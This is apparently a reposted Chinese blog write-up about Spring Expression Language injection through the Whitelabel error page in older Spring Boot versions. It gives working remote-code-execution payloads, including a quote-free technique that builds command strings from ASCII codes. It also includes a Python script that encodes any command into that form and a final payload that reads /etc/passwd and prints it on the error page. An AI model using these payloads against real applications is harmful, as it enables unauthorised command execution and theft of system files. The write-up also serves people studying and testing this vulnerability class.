Spring表達(dá)式注入
該漏洞僅影響 Spring Boot 1.2.8之前版本,Spring Boot 1.2.8版本之后已得到修補(bǔ)。
在spring中任何反映用戶輸入的Whitelabel錯(cuò)誤頁(yè)面都將會(huì)容易受到攻擊。這是因?yàn)橛脩舻妮斎氡灰曌鰹镾prings Expression Language(SpEL)。在一次測(cè)試中,我遇到了一個(gè)特殊的URL,該URL觸發(fā)了spring中的Whitelabel Error頁(yè)面表達(dá)式注入。
https://<domain>/BankDetailForm?id=abc${12*12}abc
執(zhí)行結(jié)果:

spring中的Whitelabel頁(yè)面將輸入的abc${12*12}abc顯示為abc144abc。隨后嘗試執(zhí)行一個(gè)id命令并顯示結(jié)果。嘗試了以下測(cè)試:
https://<domain>/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec('id')}
payload:${T(java.lang.Runtime).getRuntime().exec('id')}
執(zhí)行結(jié)果:

輸入的表達(dá)式原樣輸出,對(duì)比David的文章(https://secalert.net/#cve-2016-4977),一切都顯示正確,但是我仍然沒(méi)有得到想要的輸出。嘗試了良久之后,我決定本地搭建一個(gè)Springs應(yīng)用程序嘗試創(chuàng)建相同的場(chǎng)景。我嘗試了基本操作,
{5*5}并在錯(cuò)誤頁(yè)回顯出25的結(jié)果。然后嘗試執(zhí)行id命令,依舊沒(méi)有執(zhí)行。通過(guò)調(diào)試跟蹤代碼的堆棧信息如下:
可以清楚的看到包含id命令的單引號(hào)被URL編碼。得出原因之后,大致的解決方式有兩種:
1、通過(guò)在錯(cuò)誤的代碼中查找字符,然后使用substring()將字符串一個(gè)個(gè)截取來(lái)傳遞給exec()方法。
2、通過(guò)找到一種無(wú)需使用雙引號(hào)或單引號(hào)就可以傳遞要執(zhí)行的字符串的方法。
這里我們采用第二種方法。如果我能夠找到可以輸入id參數(shù)的方法,那么cat /etc/passwd也將會(huì)迎刃而解。在Java中支持嵌套函數(shù)的使用。
經(jīng)過(guò)對(duì)一些Java類調(diào)試之后發(fā)現(xiàn)了以下內(nèi)容:
java.lang.Character.toString(105)
-> prints the characer 'i'
i字符我們已經(jīng)得到,那么接下來(lái)我們通過(guò)同樣的方法合并字符“ d”即可,我們使用concat()方法來(lái)進(jìn)行嵌套d字符,并與i字符合并。
java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100))
-> prints the characters 'id'
最終得到的有效載荷如下:
https://<domain>/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(T(java.
lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}
執(zhí)行結(jié)果如下所示:

通過(guò)getRuntime()方法執(zhí)行我們傳入的參數(shù),現(xiàn)在,我們已經(jīng)有了一個(gè)回顯型的RCE,可以使用它來(lái)執(zhí)行命令。接下來(lái)嘗試執(zhí)行
cat /etc/passwd并將結(jié)果打印到Whitelabel Error頁(yè)面上。這意味著對(duì)于每個(gè)字符都需要通過(guò)ASCII編碼來(lái)進(jìn)行傳遞。每個(gè)字符的傳入格式如下:
concat(T(java.lang.Character).toString(<ascii value>))
由于字符過(guò)多,我們通過(guò)python腳本來(lái)實(shí)現(xiàn)此功能:
#!/usr/bin/env python
from __future__ import print_function
import sys
?
message = raw_input('Enter message to encode:')
?
print('Decoded string (in ASCII):\n')
for ch in message:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')
要獲取cat /etc/passwd命令的結(jié)果,我們通過(guò)使用IOUtils類調(diào)用toString()方法將輸入流傳遞給此方法,并獲取相應(yīng)結(jié)果。

最終payload如下:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
綜上所述,通過(guò)Apache IOUtils庫(kù),并將cat /etc/passwd使用字符類轉(zhuǎn)換為ASCII字符,將轉(zhuǎn)換后的字符傳遞給exec()方法執(zhí)行。并獲得輸入流,將其傳遞給toString()IOUtils類的方法解析。

文章來(lái)源:http://deadpool.sh/2017/RCE-Springs/
轉(zhuǎn)載自合天智匯:https://mp.weixin.qq.com/s/390N710W8DPyyaCUU5-Ohw